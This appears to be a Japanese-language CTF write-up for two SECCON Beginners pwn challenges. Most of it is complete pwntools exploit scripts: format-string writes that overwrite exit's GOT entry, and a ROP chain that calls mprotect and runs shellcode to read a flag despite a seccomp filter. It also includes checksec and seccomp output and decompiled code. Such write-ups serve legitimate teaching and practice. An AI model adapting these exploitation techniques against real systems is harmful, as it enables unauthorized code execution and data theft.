sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo = lambda *x, **y: log.info(' '.join(x), **y)
interact = lambda *x, **y: io.interactive(*x, **y)
HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()
gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
io = remote(HOST_NAME, PORT)
elif args.LOCAL:
io = remote('localhost', PORT)
elif args.GDB:
io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
io = process(f'debug_dir/{binary_name}')
def calc_hn(objective_value, sum_bytes):
r = objective_value - sum_bytes
while r < 0:
r += 0x10000
return r, r + sum_bytes
addr_got_exit = 0x404040
addr_win = 0x0000000000401341
offset = 10
payload = b''
payload_bytes, sum_bytes = calc_hn((addr_win) & 0xffff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hn'.encode()
payload_bytes, sum_bytes = calc_hn((addr_win >> 16) & 0xffff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hn'.encode()
payload += b' ' * (32 - len(payload))
payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 2)
sla(b'> ', payload)
print(io.recvall())
No PIE なので,win
関数のアドレスは 3 バイトで,exit
関数も呼ばれていないので exit
関数の GOT も上位 5 バイトは 0 になっているので,3 バイトの書き換えのみで十分なので以下のスクリプトでいける.
from pwn import *
binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo = lambda *x, **y: log.info(' '.join(x), **y)
interact = lambda *x, **y: io.interactive(*x, **y)
HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()
gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
io = remote(HOST_NAME, PORT)
elif args.LOCAL:
io = remote('localhost', PORT)
elif args.GDB:
io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
io = process(f'debug_dir/{binary_name}')
def calc_hhn(objective_value, sum_bytes):
r = objective_value - sum_bytes
while r < 0:
r += 0x100
return r, r + sum_bytes
addr_got_exit = 0x404040
addr_win = 0x0000000000401341
offset = 11
payload = b''
payload_bytes, sum_bytes = calc_hn((addr_win) & 0xff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hhn'.encode()
payload_bytes, sum_bytes = calc_hhn((addr_win >> 8) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hhn'.encode()
payload_bytes, sum_bytes = calc_hhn((addr_win >> 16) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 2}$hhn'.encode()
payload += b' ' * (40 - len(payload))
payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 1)
payload += p64(addr_got_exit + 2)
sla(b'> ', payload)
print(io.recvall().decode())
gachi-rop
author:Satoki
medium
そろそろOne Gadgetにも飽きてきた?ガチROPの世界へようこそ!
nc gachi-rop.beginners.seccon.games 4567
gachi-rop.tar.gz c8cb163daca67761d36d9410b6eb2d8bfa961c66
セキュリティ機構
└─< spwn
[*] Binary: gachi-rop
[*] Libc: libc.so.6
[!] No loader
[*] file gachi-rop
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec gachi-rop
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets system
[*] cwe_checker gachi-rop (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (0040127b) -> gets
[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader
[!] Possible seccomp found
[*] seccomp-tools dump ./debug_dir/gachi-rop < /dev/null
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
デコンパイルすると以下のようになっているので,BOF ができて canary もないので,ROP できる.
undefined8 main(void)
{
undefined8 local_18;
undefined8 local_10;
install_seccomp();
printf("system@%p\n",system);
local_18 = 0;
local_10 = 0;
printf("Name: ");
gets((char *)&local_18);
printf("Hello, gachi-rop-%s!!\n",&local_18);
return 0;
}
ただし,seccomp があるので execve
と execveat
が使えないため,flag のファイルを開いて出力させるところまでする必要がある.
system
関数のアドレスは教えてくれているので,libc のベースアドレスは判明している
└─< readelf -s -W ./libc.so.6 | grep " system@"
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
全部 ROP で行くのはできる気がしない (rax に入っている戻り値を動かしたりするのが大変っぽい) ので,シェルコードを配置した領域を mprotect
で実行可能にして実行する.
from pwn import *
binary_name = 'gachi-rop'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo = lambda *x, **y: log.info(' '.join(x), **y)
interact = lambda *x, **y: io.interactive(*x, **y)
HOST_NAME, PORT = 'gachi-rop.beginners.seccon.games 4567'.split()
gdb_script = '''
b *0x00000000004012a1
c
'''
if args.REMOTE:
io = remote(HOST_NAME, PORT)
elif args.LOCAL:
io = remote('localhost', PORT)
elif args.GDB:
io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
io = process(f'debug_dir/{binary_name}')
addr_writable = 0x404000
offset_system = 0x0000000000050d70
addr_system = int(rl().decode().split('@')[-1], 16)
libc_base = addr_system - offset_system
loginfo(f'libc_base: {hex(libc_base)}')
rop_pop_rdi = libc_base + 0x000000000002a3e5
rop_pop_rsi = libc_base + 0x000000000002be51
rop_pop_rdx_r12 = libc_base + 0x000000000011f2e7
addr_read = libc_base + 0x00000000001147d0
addr_mprotect = libc_base + 0x000000000011eaa0
payload = b'A' * 0x10 + p64(1)
## read(0, addr_str_fname, 0x10) << "/flag.txt"
addr_str_fname = addr_writable + 0x100
payload += p64(rop_pop_rdx_r12)
payload += p64(0x10)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_str_fname)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)
## read(0, addr_shellcode, 0x400) << shellcode
addr_shellcode = addr_writable + 0x120
payload += p64(rop_pop_rdx_r12)
payload += p64(0x400)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_shellcode)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)
## mprotect(addr_shellcode, 0x400, 7)
payload += p64(rop_pop_rdx_r12)
payload += p64(7)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(0x400)
payload += p64(rop_pop_rdi)
payload += p64(addr_writable)
payload += p64(addr_mprotect)
## exec shellcode
payload += p64(addr_shellcode)
sla('Name: ', payload)
pause()
sl(b'/flag.txt\x00')
pause()
shell_code = asm(f'''
{shellcraft.linux.open('/app/ctf4b/', 0)}
{shellcraft.linux.getdents64('rax', 'rsp', 0x1000)}
{shellcraft.linux.write(1, 'rsp', 0x1000)}
''')
shell_code = asm(f'''
{shellcraft.linux.openat(0, '/app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt', 0)}
{shellcraft.linux.read('rax', 'rsp', 0x60)}
{shellcraft.linux.write(1, 'rsp', 0x60)}
''')
sl(shell_code)
interact()